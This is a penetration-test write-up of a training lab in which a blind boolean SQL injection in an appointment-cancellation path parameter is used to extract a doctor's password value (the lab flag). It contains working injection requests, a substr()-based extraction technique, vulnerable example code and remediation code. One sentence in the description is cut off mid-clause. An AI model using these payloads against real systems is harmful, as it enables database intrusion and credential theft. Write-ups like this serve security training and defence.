Appointments: Blind Boolean SQL Injection in a Path Parameter
Part 1: Pentest Report
Executive Summary
The target is a healthcare appointment-booking application with two roles, patient and doctor, fronted by static HTML pages and a JSON API under /api/*, with HS256 JWT authentication. Testing an ordinary patient account found that the appointment cancellation endpoint interpolates its numeric path parameter directly into a SQL statement, allowing a blind boolean SQL injection.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Blind boolean SQL injection in the appointment cancellation path parameter | High | 8.8 | CWE-89 | POST /api/appointments/:id/cancel |
F1 lets any authenticated patient read arbitrary data from the application database. It was used to extract another user’s stored password value one character at a time. CVSS raw math places it at 8.8 (High); given that it is the finding that discloses the flag and grants full database read access, it is treated as Critical in practical terms.
Objective
Assess the appointment-booking application from the position of a registered patient and identify a vulnerability that discloses the engagement flag.
Scope / Initial Access
# Target Application
URL: https://lab-1779319314603-iev1lh.labs-app.bugforge.io
# (lab redeploys on fresh instances; hostname rotates per instance)
# Auth details
Registration: POST /api/auth/register {username, password, full_name}
-> 201; no role field is sent, the server assigns the role
Login: POST /api/auth/login -> {token, user}
Token: HS256 JWT, claims {id, username, role, full_name, iat, exp}
exp = iat + 2h
Test identity: haxor / id 5 / role patient / own appointment id 5
Registration accepts only username, password, and full_name. The role is assigned server-side and is not client-controllable at registration.
Reconnaissance: Walking the Booking Flow
The application surface was mapped by registering a patient account and walking the booking flow end to end: listing doctors and reasons, creating an appointment, viewing it, and cancelling it. The following observations shaped the test plan.
GET /api/appointmentsreturns the caller’s own appointments in a trimmed view (date, time, reason name, status, doctor name).POST /api/appointments/:id/cancel, by contrast, echoes the full underlying database row for the appointment:{id, doctor_id, patient_id, reason_id, status}.- The cancel endpoint takes the appointment id as a numeric segment in the URL path (
/api/appointments/5/cancel), not as a query string or body field. - The cancel response varies depending on whether the supplied id resolves to an appointment. The success path and the non-resolving path produce distinguishable responses, which gives a usable signal channel even with no error output.
Observation 2 made the numeric path segment the primary injection candidate; observation 3 confirmed a response difference was available to use as a boolean oracle.
Application Architecture
| Component | Detail |
|---|---|
| Backend | JSON API under /api/*; backend framework not identified |
| Frontend | Static HTML pages (login.html, patient-dashboard.html, doctor-dashboard.html) with an auth.js client-side role guard |
| Auth | HS256 JWT, claims {id, username, role, full_name, iat, exp}, 2-hour expiry |
| Database | SQL database; substr() and length() available, exact engine not identified |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/auth/register |
POST | No | {username, password, full_name} returns 201; role assigned server-side |
/api/auth/login |
POST | No | Returns {token, user} |
/api/doctors |
GET | Yes | [{id, username}] |
/api/reasons |
GET | Yes | 7 canned appointment reasons |
/api/appointments |
GET | Yes | Caller’s own appointments (trimmed view) |
/api/appointments |
POST | Yes | Create appointment |
/api/appointments/:id/cancel |
POST | Yes | Cancel; echoes the full appointment row. Injectable |
Known Users
| Username | ID | Role |
|---|---|---|
| dr.smith | 1 | doctor |
| dr.jones | 2 | doctor |
| haxor | 5 | patient |
Attack Chain Visualization
┌───────────────────┐ ┌────────────────────────┐ ┌─────────────────────┐ ┌──────────────────────┐
│ Patient JWT │ │ POST /api/appointments/│ │ Inject boolean │ │ Binary search │
│ (HS256, role │──▶│ :id/cancel, numeric │──▶│ subquery into :id │──▶│ substr(password,i,1) │
│ patient, id 5) │ │ id in the URL path │ │ TRUE/FALSE oracle │ │ dr.jones password │
└───────────────────┘ └────────────────────────┘ └─────────────────────┘ └──────────────────────┘
Findings
F1: Blind boolean SQL injection in the appointment cancellation path parameter
Severity: High (Critical in practical terms; see Executive Summary)
CVSS v3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
Endpoint: POST /api/appointments/:id/cancel
Authentication required: Yes (any patient account)
Description
The appointment id supplied in the URL path of POST /api/appointments/:id/cancel is interpolated directly into a SQL statement without parameterization or integer validation. Appending ` and (
Impact
Allows any authenticated patient to read arbitrary data from the application database, including other users’ stored password values.
Reproduction
Step 1: Authenticate as a patient
POST /api/auth/login HTTP/2
Host: lab-1779319314603-iev1lh.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","password":"<password>"}
Response: 200 with {"token":"eyJ...", "user":{...}}. The token is used as Authorization: Bearer on all subsequent requests.
Step 2: Establish the baseline cancel response
POST /api/appointments/5/cancel HTTP/2
Host: lab-1779319314603-iev1lh.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOi...
Content-Length: 0
Response: 200, echoing the full row {id:5, doctor_id, patient_id:5, reason_id, status}. This is the TRUE branch reference response.
Step 3: Calibrate the boolean oracle
Send the id with a condition known to be true and one known to be false appended:
POST /api/appointments/5 and (1=1)/cancel HTTP/2
POST /api/appointments/5 and (1=2)/cancel HTTP/2
The 1=1 request matches the Step 2 baseline; the 1=2 request differs measurably (status code or response body length). A measurable difference between the two confirms the id is concatenated into a SQL query unsanitized, and fixes the discriminator used for extraction.
Step 4: Extract a target column character by character
Inject a substr() subquery and compare each character against the charset. The request below tests whether the 22nd character of dr.jones’s password is P:
POST /api/appointments/5 and (select substr(password,22,1) from users where username='dr.jones')='P'/cancel HTTP/2
Host: lab-1779319314603-iev1lh.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOi...
Content-Length: 0
Response: matches the TRUE branch, so the 22nd character is P. Repeating this as a binary search over the charset (about 7 requests per character) recovers the full value. The extraction was automated with extract.py, which auto-calibrates the oracle, detects database case sensitivity, and binary-searches length() and each substr() position.
Recovered value (users.password for dr.jones):
bug{ie1EWTcf7HdgnF4P8Pgxcjkh05XZ6MTU}
Remediation
Fix 1: Validate the id, then bind it as a query parameter
Example shown in Node.js style; the principle is identical across stacks.
// BEFORE (Vulnerable): id concatenated straight into the query
app.post('/api/appointments/:id/cancel', (req, res) => {
const id = req.params.id;
db.query(`UPDATE appointments SET status='cancelled' WHERE id=${id}`);
// ...
});
// AFTER (Secure): reject non-integer ids, then bind id as a parameter
app.post('/api/appointments/:id/cancel', (req, res) => {
const id = Number(req.params.id);
if (!Number.isInteger(id)) {
return res.status(400).json({ error: 'invalid appointment id' });
}
db.query(
'UPDATE appointments SET status=$1 WHERE id=$2 AND patient_id=$3',
['cancelled', id, req.user.id]
);
// ...
});
Additional recommendations:
- Validate every numeric path and query parameter as an integer at the route boundary, before it reaches the data layer.
- Audit sibling routes that accept numeric path parameters (
GET /api/appointments/:idand similar) for the same concatenation pattern. - Use an ORM or query builder that parameterizes by default, so raw string interpolation into SQL is never the path of least resistance.
- Scope the cancel query to the caller (
AND patient_id = :caller) so the endpoint cannot act on or resolve appointments the caller does not own.
OWASP Top 10 Coverage
- A03:2021 Injection: The numeric appointment id is concatenated into a SQL statement without parameterization or input validation, allowing a blind boolean SQL injection that reads arbitrary database content.
Tools Used
| Tool | Purpose |
|---|---|
| HTTP intercepting proxy | Capturing and replaying the cancel request with the injected path |
extract.py |
Auto-calibrating boolean-based blind extractor: oracle calibration, case sensitivity detection, per-character binary search |
References
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command: https://cwe.mitre.org/data/definitions/89.html
- OWASP Top 10 2021, A03 Injection: https://owasp.org/Top10/A03_2021-Injection/
- OWASP WSTG, Testing for Blind SQL Injection: https://owasp.org/www-project-web-security-testing-guide/
Part 2: Notes / Knowledge
Key Learnings
- A numeric path segment is a SQL injection sink. Probe it like any query string or body parameter. Path parameters read as routing structure rather than user input, so they draw far less injection testing than
?id=query params and JSON body fields. A numeric:idinterpolated into a query is the same defect with the same fix. The injection lands between the id and the rest of the route, leaving the trailing path intact (/api/appointments/5 and (<subquery>)/cancel). Any route with a numeric path segment is a candidate.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Bypass the client-side role guard | auth.js guardAuth() enforces role routing only in the browser; it is bypassable |
Bypassing it only changes which dashboard renders. The flag is the dr.jones password value, reached via SQL injection, not by reaching the doctor UI |
Stored XSS via full_name / appointment reason |
full_name renders through textContent; appointment fields render through escapeHtml |
Output is encoded at every observed sink, so there is no injection point |
Tags: #sqli #blind-sqli #boolean-based #path-parameter #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-05-22